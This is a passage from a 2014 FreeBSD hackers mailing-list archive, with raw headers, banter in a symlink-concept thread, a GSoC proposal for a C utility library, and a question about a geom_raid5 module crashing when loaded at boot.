GkcJ5g8BViT7H78OealYLrnECQF+lbptAAY+supKEDnY0Cv1v+x1v5cCxQkbCNxVN+KB+zeEQ2Ig yudWS2Xq/mzBJJMkoTTrBf+aIq6bfT/xZVEKpjBqs/SIHIAN/HKK6INeMYIDbzCCA2sCAQEwgZQw gYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUg RGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFBy aW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMAkGBSsOAwIaBQCgggGvMBgGCSqGSIb3 DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE0MDIyNTA0NTYyM1owIwYJKoZIhvcN AQkEMRYEFPrB9RTazaBnnXAsvs/YQAQNxnM0MIGlBgkrBgEEAYI3EAQxgZcwgZQwgYwxCzAJBgNV BAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBD ZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFByaW1hcnkgSW50 ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMIGnBgsqhkiG9w0BCRACCzGBl6CBlDCBjDELMAkGA1UE BhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENl cnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRl cm1lZGlhdGUgQ2xpZW50IENBAgMGoo4wDQYJKoZIhvcNAQEBBQAEggEASBsxQb9E6p4dfyFaCzY5 nQ4MtxZ/Y69ScjwW3bUHRlPBB4pY8bhFVMgbNMHB+P8EfEkxsQDaJ6zZq240TyzrAxnyQipdnkYT Jhg20xV9thTtGGRDR+YPC0w+bsFBHD4JUO5/AvPvw3NnjVij2iNwvY6OJVpbrMnHO2Cj29cD5ahb PSBBzfhQ68n+VsP6pmNwyLbBlgNa8WFFYkduXMlKsme00jUUnfUnfiiXQYtjdviyQY524uKSjUB5 FYJmuGdBPInYWkp1MLESjF3kGgCY3rFfAEHkBO7UGXl2/UVLQOERvBsPQ7xsJvpEgRBI/IwxQXpf dVTcfqX3oPdeaJWPpgAAAAAAAA== --Apple-Mail-0415E19D-F09E-4C70-8825-727102E6BEFA-- From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 08:20:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BDFF1A1A; Tue, 25 Feb 2014 08:20:15 +0000 (UTC) Received: from smtp.digiware.nl (unknown [IPv6:2001:4cb8:90:ffff::3]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6B89E1A28; Tue, 25 Feb 2014 08:20:15 +0000 (UTC) Received: from rack1.digiware.nl (unknown [127.0.0.1]) by smtp.digiware.nl (Postfix) with ESMTP id AC25C1534C0; Tue, 25 Feb 2014 09:20:13 +0100 (CET) X-Virus-Scanned: amavisd-new at digiware.nl Received: from smtp.digiware.nl ([127.0.0.1]) by rack1.digiware.nl (rack1.digiware.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id EaMbJKBif_pA; Tue, 25 Feb 2014 09:20:11 +0100 (CET) Received: from [IPv6:2001:4cb8:3:1:a009:5318:9749:5155] (unknown [IPv6:2001:4cb8:3:1:a009:5318:9749:5155]) by smtp.digiware.nl (Postfix) with ESMTP id CB6B1153448; Tue, 25 Feb 2014 09:20:11 +0100 (CET) Message-ID: <530C523B.1000802@digiware.nl> Date: Tue, 25 Feb 2014 09:20:11 +0100 From: Willem Jan Withagen Organization: Digiware Management b.v. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Julian Elischer , gljennjohn@gmail.com, Daniel Eischen Subject: Re: Variant Links (Was: Thoughts on Multi-Symlink Concept) References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <20140223173042.074d3eb0@ernst.home> <530A47BD.6040704@digiware.nl> <530C061C.9020803@freebsd.org> In-Reply-To: <530C061C.9020803@freebsd.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, jordan.hubbard@gmail.com, Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 08:20:15 -0000 On 2014-02-25 3:55, Julian Elischer wrote: > On 2/24/14, 3:10 AM, Willem Jan Withagen wrote: >>> Well, maybe the first discussion wasn't in 1994, but it was quite >>> some time ago. >> Should be around there when I took it up for the first time. >> Last dates on the code are from 1998, but I'm shure it did not work at >> that moment. >> >> It comes around in a regular cycle about every 7 years. :) > > oh it was way before 1994.. > believe me. It even came before fairings. Perhaps I should have said: My first discussion in FreeBSD lists. Note that I looked at pictures of an office of a citi.umich DomainOS-friend of mine, and there was still a Apollo Domain system. A bit yellowish, and with the cover removed... ot shure if his actually still runs it. --WjW From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 08:24:39 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 76394B70 for ; Tue, 25 Feb 2014 08:24:39 +0000 (UTC) Received: from mail-ve0-x22d.google.com (mail-ve0-x22d.google.com [IPv6:2607:f8b0:400c:c01::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 303151AC6 for ; Tue, 25 Feb 2014 08:24:39 +0000 (UTC) Received: by mail-ve0-f173.google.com with SMTP id jw12so54757veb.32 for ; Tue, 25 Feb 2014 00:24:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:from:date:message-id:subject:to:content-type; bh=fFozdjgs31DtntOR+N72OXabt2dghI7k7EMKjskVHJc=; b=hLw8YiHS4Xn5Tg8lzI5hoKSrAf+6EVNWHolrYAvSSlX37sSLxVl5B4GfiqKogCEmf4 cVLyJw84tV0fPS9erxdE05/f4BY3+TfgXovSl7Lj1NcXMi2gDxwn+xyVk0RjZdm0wUze yqeW+Wj0NPO5YeW5yG1ZKWvhxb/V3NtuPFlZbb6nJAht0ddjnKqZ3LMVWmsD4fuqnAWZ biVWw//a7DHZWu5qA4OBbvyP+pwkH+/KHBUm8uPbMjr30OTVT9JsaAUhJKzKaL9lkX4W 7ehn0hkjlXz+eLojyhQ/86gKhCa+rSiXrXJOxb60j9E9/eiH487BoVe4TnlmSw4g6MtD l6SA== X-Received: by 10.58.172.132 with SMTP id bc4mr39606vec.45.1393316678103; Tue, 25 Feb 2014 00:24:38 -0800 (PST) MIME-Version: 1.0 Received: by 10.58.249.197 with HTTP; Tue, 25 Feb 2014 00:24:17 -0800 (PST) From: Dmitry Selyutin Date: Tue, 25 Feb 2014 12:24:17 +0400 Message-ID: Subject: GSoC proposal: Quirinus C library (qc) To: hackers@freebsd.org X-Mailman-Approved-At: Tue, 25 Feb 2014 12:48:04 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: ghostmansd@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 08:24:39 -0000 Hello everyone! My name is Dmitry, I'm 22 years old student from Lomonosov Moscow State University of Russia. This message is addressed mainly to C connoiseurs, yet I think other people may find it interesting. It's a GSoC proposal. It's a pity that for language like C we generally don't have something universal like Boost, so we have to implement some common functions from scratch or introduce new dependencies. We have Glib, which is used mainly by Gnome developers (though it is a standalone library) and LGPL-ed, which is not as liberal as Boost's license. We also have APR, which seems to be a bit more comprehensive and convenient, yet it is not so well-known as Glib. I'm in process of implementing a something like Boost for ANSI C (though I don't pretend this library to share Boost's comprehensiveness). Several ideas I find useful are: 1. Strict and universal interface. Each function begins with qc_ prefix, followed by type if function is type-related. Most of types (except enum-typedef'ed ones) have three common functions (replace _type_ with the necessary type name, e.g. _bytes_): a. Constructor: void * qc_type_construct(void). Allocate object instance and initialize it to default value. b. Destructor: void qc_type_destruct(void * pointer). Deallocate memory allocated for object and its members. c. Replicator: void * qc_type_replicate(void const * pointer). Replicate object, copying its data to new allocated object, i.e. clone. Most of types also have _import_ and _export_ functions, which allow to fill allocated object with the desired data (e.g. fill bytes array from null-terminated char string) or export data to another type. Almost all enum-typedef'ed types also have _import_ and _export_ functions to retrieve a key value corresponding to string. 2. Common and universal error type, qc_error. Such errors can be generated from errno values as well as from Windows API errors. Almost all functions from qc library except for the three common functions (constructor, destructor, replicator) return qc_error code and set specific qc_errno variable to this code. It is now possible to write such constructions: if (qc_bytes_import_str(bytes_instance, "Hello, world!")) qc_errormsg(qc_errno, "error check"); Global variable qc_errno is implemented in terms of multithreading applications, it is unique for every running thread. 3. Clear distinction between byte and Unicode strings (qc_byte and qc_ucs types for characters, where qc_byte has exactly 8-bit width and qc_ucs has exactly 32-bit width). Charsets are just enumeration, e.g. QC_ENCODING_UTF8, QC_ENCODING_ISO_8859_4, etc., yet it is possible to lookup the desired encoding using qc_encoding_import. If encoding is known under several names, they are handled alltogether, i.e. QC_ENCODING_ASCII will be returned for any of "ASCII", "iso-ir-6", "ANSI_X3.4-1968", "ISO646-US", etc. Register doesn't matter. Two new types, qc_bytes and qc_unicode are provided, in order to store binary and Unicode data. It is possible to store null characters inside such objects. It is similar to C++ string and C++ vector classes. 4. Universal file system path type. It is possible to achieve cross-platformness using such path types, i.e. it is possible to make directories, links, symlinks, remove files, directories, etc. regardless of platform path API. 5. i18n support must be embedded with qc library. Locales, timezones, day and months names, etc. must be provided too, in several forms if necessary. i18n functions work with qc_unicode type, so charset conversion problems won't exist. 6. Multithreading support if platform permits it. On POSIX we use pthreads, on Windows we use its API for multithreading. I'm also thinking about green threads implementation. Thread local storage is already implemented, yet there is still a lot work to be done with threads, mutexes, etc. 7. Multiprecision arithmetics. I'm using GMP to achieve it, yet I'm planning to switch to something BSD-like or to implement it from scratch (that probably would be better, since library doesn't introduce any dependencies except GMP). 8. Ternary logic almost everywhere. Being fan of Russian Setun computer, I've started this library as implementation of ternary logic operations. When I've realized that there is still much to be done in other fields, I've already concluded that ternary logic is suitable for a wide set of other operations, e.g. comparison, determining type of strings, endianness, etc. I think that I'll leave type qc_trit, since I've found it extremely useful. 9. A lot of other things to be done, such as unified I/O streams which provide compression/transformation filters, protocols, math library, etc. Why I'm writing such letter to FreeBSD? I'm pretty sure that FreeBSD highly needs such library, since we try to use BSD-like license and yet to implement things that exist in GNU world. The most common example is GNU readline library, yet I think there is a lot of libraries that we reimplemented just to let some projects suit BSD philosophy. We can make a good library, which can be used a lot in different projects, yet it will field everyone like Boost. The nature of C language itself helps us to keep this library much more tiny than Boost library; I also think that we can limit our support with POSIX-(almost-)compatible platforms and Windows. I've already done a lot of work, but it is hard to make decisions without advice or discussion, so I've thought about to enter GSoC this year like I did two years ago when I've reimplemented gnulib-tool for FSF. This project is much more interesting for me, since I want to upgrade my C skills, get known BSD world better and provide a good cross-platform library which may be useful to almost everyone. Since I've already finished my volunteer's job in Sochi (I've worked as technologist volunteer), I'm really want to make something new for other people to be useful. If you are interested in my project, here is repository at GitHub: https://github.com/ghostmansd/quirinus. I guess I'll later rename it to https://github.com/ghostmansd/qc, yet it doesn't matters. If you're interested in my previous GSoC work, you can find it here: https://github.com/ghostmansd/gnulib-python. If you want to get to know me better from any side (my philological studies in Lomonosov Moscow University, GSoC participation, Sochi volunteer job, etc.), you can write me a email; I'd be very glad. Thanks for reading such a long letter! -- With best regards, Dmitry Selyutin From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 18:28:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CE3E7BF; Tue, 25 Feb 2014 18:28:59 +0000 (UTC) Received: from mail-pd0-x230.google.com (mail-pd0-x230.google.com [IPv6:2607:f8b0:400e:c02::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8AA2B18FB; Tue, 25 Feb 2014 18:28:59 +0000 (UTC) Received: by mail-pd0-f176.google.com with SMTP id r10so1035710pdi.7 for ; Tue, 25 Feb 2014 10:28:59 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=kV/+yx8TklogF/TpPJ756NFTARLQGEJ+EJ7gtLa1+y4=; b=eWU1T2YppSPSvCm6wwsOvy430wlx0de97m3XtOH4+zEVRJC+5cOZDeE5432461lFJF iERdCr0IRz8FTUzMn5dgGR9JMroAmssZGsI/39S7ycWmPJBi1IwNQyZtIdM5sEgsC/J7 P3fkdIogenatEd1yMYyfe5r/muXZuPn+z+TbbzkZNWN0X1IMeFWMrxoMJLrIJO/lNiK6 riYUwFQf1YhOPVYdlt69sqq7IFOlunsjXHT2VNHKi2e+OPujdL3UvSnT4e46EaUm2TWF 4jsYPrdyUuzCUn0/2eHDqKm5Kv636TV3i7MTagivNWdjgLlxQ/xg4UKrVNaozz3QM0Ma 0Z4w== X-Received: by 10.66.66.202 with SMTP id h10mr3294815pat.70.1393352939227; Tue, 25 Feb 2014 10:28:59 -0800 (PST) Received: from [10.20.30.11] (75-101-82-48.static.sonic.net. [75.101.82.48]) by mx.google.com with ESMTPSA id qf7sm148571731pac.14.2014.02.25.10.28.56 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 10:28:58 -0800 (PST) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Variant Links (Was: Thoughts on Multi-Symlink Concept) From: Jordan Hubbard In-Reply-To: <530C523B.1000802@digiware.nl> Date: Tue, 25 Feb 2014 10:28:54 -0800 Content-Transfer-Encoding: quoted-printable Message-Id: <77202023-992F-4333-9CD8-B6A73A8BE8F7@gmail.com> References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <20140223173042.074d3eb0@ernst.home> <530A47BD.6040704@digiware.nl> <530C061C.9020803@freebsd.org> <530C523B.1000802@digiware.nl> To: Willem Jan Withagen X-Mailer: Apple Mail (2.1827) Cc: freebsd-filesystems@freebsd.org, Perry Hutchison , Freebsd hackers list , Daniel Eischen , gljennjohn@gmail.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 18:28:59 -0000 On Feb 25, 2014, at 12:20 AM, Willem Jan Withagen = wrote: > Perhaps I should have said: My first discussion in FreeBSD lists. Welcome to the endless digression! I think this is actually a pretty good introduction since many of our = conversations go like this (we haven't yet had the "Will you guys just = SHUT UP about DomainOS already? I wasn't even born when people were = using that thing - this is BORING!" message - I'm sure it's coming :-) ) - Jordan From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 20:18:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7D5CAFC2 for ; Tue, 25 Feb 2014 20:18:29 +0000 (UTC) Received: from mail-oa0-f52.google.com (mail-oa0-f52.google.com [209.85.219.52]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3934D1469 for ; Tue, 25 Feb 2014 20:18:29 +0000 (UTC) Received: by mail-oa0-f52.google.com with SMTP id i4so1041014oah.11 for ; Tue, 25 Feb 2014 12:18:27 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=IoycSz4g0+iGTFF45rTi5LQUJ/Q5Zdcee2pdxzdXRpk=; b=KCUzD80mwfT4PLyRGIToJgaKQa+GIZ/S3ntDo2i7fGQ4iUJfdn/T36sDA6upWWfT/I vSnO5D6F+ANOzv2/kAn3EMAWyw8aqg4c9cBsyMt5ym6XGi/uB+dyo7RL0PSlnNjt+ORZ Ea1Kl2cFy8VR9JNxhmosqsJ1F/jroxo7x5m+qeYkK+MNtT+ugbh/NnE48XKM6di5GygD +eHXbuRK6AQGljJH4iITJFgOTlp0A3QpDQZU0PpldRk0QS6oS5NcOBkUAamGJCyKKKTt 7pST/HcMmWQzbowH/ClEebdQZekJ/9Lnq2uPD8k5YstWsyA6V4SKReNWb2dX72TTWS44 aHzw== X-Gm-Message-State: ALoCoQldqXKd3Uj48UhZfpvdutWcZu5Zq2ZJeb3R0Spj6+wCp68e5sE3U7DCCOHP/8wjTa+i3gqP X-Received: by 10.182.19.164 with SMTP id g4mr3108365obe.58.1393359507722; Tue, 25 Feb 2014 12:18:27 -0800 (PST) Received: from [172.21.0.93] (67-198-60-238.static.grandenetworks.net. [67.198.60.238]) by mx.google.com with ESMTPSA id h4sm141841728oev.2.2014.02.25.12.18.23 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 12:18:24 -0800 (PST) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Variant Links (Was: Thoughts on Multi-Symlink Concept) From: Jim Thompson In-Reply-To: <77202023-992F-4333-9CD8-B6A73A8BE8F7@gmail.com> Date: Tue, 25 Feb 2014 14:18:22 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <20140223173042.074d3eb0@ernst.home> <530A47BD.6040704@digiware.nl> <530C061C.9020803@freebsd.org> <530C523B.1000802@digiware.nl> <77202023-992F-4333-9CD8-B6A73A8BE8F7@gmail.com> To: Jordan Hubbard X-Mailer: Apple Mail (2.1874) Cc: freebsd-filesystems@freebsd.org, Perry Hutchison , Freebsd hackers list , Daniel Eischen , gljennjohn@gmail.com, Willem Jan Withagen X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 20:18:29 -0000 On Feb 25, 2014, at 12:28 PM, Jordan Hubbard = wrote: > "Will you guys just SHUT UP about DomainOS already? I wasn't even = born when people were using that thing - this is BORING!" You must have missed the TECO branch of the discussion. Jim From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 20:19:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7D113121 for ; Tue, 25 Feb 2014 20:19:07 +0000 (UTC) Received: from mail-ob0-f175.google.com (mail-ob0-f175.google.com [209.85.214.175]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 39223147B for ; Tue, 25 Feb 2014 20:19:07 +0000 (UTC) Received: by mail-ob0-f175.google.com with SMTP id va2so6148996obc.34 for ; Tue, 25 Feb 2014 12:19:06 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=IoycSz4g0+iGTFF45rTi5LQUJ/Q5Zdcee2pdxzdXRpk=; b=jY9Dxwx5TTxfp9KpFDvyWP/A4vGdYoh/TIrOjIg7VI//1ZrN3CuKW9nNz+NCDGxqmo IIkSPM2b7dylv7DXsTyrQU5QVHBq3WOsgE3vtC8RKQpG1OS1g9Mcm6WigsMLjfXRgUMA df+Pa1gWNPSPwZ1EQc4K7MdmMNLxwNJ2gh6wJHmkFAXTXEXa4tc708kYwGgq5WdGBiTv TQDP/t68tzpvCtXfjMilPUXyJbZkZ8Za0u2U4kKL0Swk+ebFjHN9LkO8VLnObC4Wj5pS SSdXmeDIXJoF99KGG9GVT7FiXJy/b9pupmxJ+qrwhx3U5EdsDHdCms36oY5WufmksDv5 Xz7Q== X-Gm-Message-State: ALoCoQlbFBx796qZlGXxOzasQ90zZ591IGxEnriTGGWZSXGORDKqpPFYZDhCG5Fdkzljay9Y6WBU X-Received: by 10.182.241.8 with SMTP id we8mr3055000obc.62.1393359546364; Tue, 25 Feb 2014 12:19:06 -0800 (PST) Received: from [172.21.0.93] (67-198-60-238.static.grandenetworks.net. [67.198.60.238]) by mx.google.com with ESMTPSA id h4sm141841728oev.2.2014.02.25.12.18.59 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 12:19:00 -0800 (PST) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Variant Links (Was: Thoughts on Multi-Symlink Concept) From: Jim Thompson In-Reply-To: <77202023-992F-4333-9CD8-B6A73A8BE8F7@gmail.com> Date: Tue, 25 Feb 2014 14:18:22 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <265259F0-A805-4ABE-B4E5-57F61793EE07@netgate.com> References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <20140223173042.074d3eb0@ernst.home> <530A47BD.6040704@digiware.nl> <530C061C.9020803@freebsd.org> <530C523B.1000802@digiware.nl> <77202023-992F-4333-9CD8-B6A73A8BE8F7@gmail.com> To: Jordan Hubbard X-Mailer: Apple Mail (2.1874) Cc: freebsd-filesystems@freebsd.org, Perry Hutchison , Freebsd hackers list , Daniel Eischen , gljennjohn@gmail.com, Willem Jan Withagen X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 20:19:07 -0000 On Feb 25, 2014, at 12:28 PM, Jordan Hubbard = wrote: > "Will you guys just SHUT UP about DomainOS already? I wasn't even = born when people were using that thing - this is BORING!" You must have missed the TECO branch of the discussion. Jim From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 21:31:20 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DC11BCCD; Tue, 25 Feb 2014 21:31:20 +0000 (UTC) Received: from onlyone.friendlyhosting.spb.ru (onlyone.friendlyhosting.spb.ru [IPv6:2a01:4f8:131:60a2::2]) by mx1.freebsd.org (Postfix) with ESMTP id A178C1C70; Tue, 25 Feb 2014 21:31:20 +0000 (UTC) Received: from lion.home.serebryakov.spb.ru (unknown [IPv6:2001:470:923f:1:2572:353:cc5e:8eee]) (Authenticated sender: lev@serebryakov.spb.ru) by onlyone.friendlyhosting.spb.ru (Postfix) with ESMTPSA id 0513F4AC1C; Wed, 26 Feb 2014 01:31:11 +0400 (MSK) Date: Wed, 26 Feb 2014 01:31:07 +0400 From: Lev Serebryakov Organization: FreeBSD X-Priority: 3 (Normal) Message-ID: <9890815.20140226013107@serebryakov.spb.ru> To: hackers@freebsd.org, stable@freebsd.org Subject: What is difference between loading module with loader and loading module wtih kldload? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: lev@FreeBSD.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 21:31:20 -0000 Hello, Hackers. I've upgraded my fileserver to 10-STABLE and got very strange (but very-very painful) problem, which I could not reproduce on virtual machine (VirtualBox). I'm using geom_raid5 module (and I'm its maintainer, yes) and module, built for 10-STABLE (after world & kernel build & install & reboot), and loaded via /boot/loader.conf is reason to almost instant crash after boot. Sometimes system mounts filesystems before crash and sometimes not. Most of time it is "page write: page not present", in different places. PS/2 keyboard is always blocked after that, I could not drop to debugger. No memory dump performed. Several times it turend off video output (!) right after crash. But if I boot without this module, drop to single-user mode, load module with kldload and continue booting with "exit" everything work smoothly for hours! I understand, that it it some incompatibility between module new kernel, but I could not reproduce it on VirtualBox instance, and I'm puzzled, that this crash does not occur if module loaded by kldload! Maybe, here is some hint in this? -- // Black Lion AKA Lev Serebryakov From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 23:21:08 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E325F14E; Tue, 25 Feb 2014 23:21:08 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8ED731755; Tue, 25 Feb 2014 23:21:05 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s1PNLLWE004006; Tue, 25 Feb 2014 15:21:27 -0800 (PST) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s1PNLGrF004002; Tue, 25 Feb 2014 15:21:16 -0800 (PST) (envelope-from bsd-lists@bsdforge.com) Received: from demon.dnswatch.com ([209.180.214.229]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 25 Feb 2014 15:21:16 -0800 (PST) Message-ID: <9cb58e6ded37c79769da936cf17087da.authenticated@ultimatedns.net> In-Reply-To: <9890815.20140226013107@serebryakov.spb.ru> References: <9890815.20140226013107@serebryakov.spb.ru> Date: Tue, 25 Feb 2014 15:21:16 -0800 (PST) Subject: Re: What is difference between loading module with loader and loading module wtih kldload? From: "Chris H" To: lev@freebsd.org User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: stable@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 23:21:09 -0000 > Hello, Hackers. > > I've upgraded my fileserver to 10-STABLE and got very strange (but > very-very painful) problem, which I could not reproduce on virtual machine > (VirtualBox). > > I'm using geom_raid5 module (and I'm its maintainer, yes) and module, built > for 10-STABLE (after world & kernel build & install & reboot), and loaded > via /boot/loader.conf is reason to almost instant crash after boot. > Sometimes system mounts filesystems before crash and sometimes not. Most of > time it is "page write: page not present", in different places. PS/2 > keyboard is always blocked after that, I could not drop to debugger. No > memory dump performed. Several times it turend off video output (!) right > after crash. > > But if I boot without this module, drop to single-user mode, load module > with kldload and continue booting with "exit" everything work smoothly for > hours! > > I understand, that it it some incompatibility between module new kernel, > but I could not reproduce it on VirtualBox instance, and I'm puzzled, that > this crash does not occur if module loaded by kldload! Maybe, here is some > hint in this? Warning, I'm no expert on 10.x. I see too many issues by ppl on the lists. So it seems too shakey for me. But, I have a couple of ideas, hoping they might help. I had a similar problem when using a very large drive, or mirror set (geom), a few years ago. FreeBSD didn't see/allocate all the memory available on the system. So it barfed, because it didn't have enough to allocate 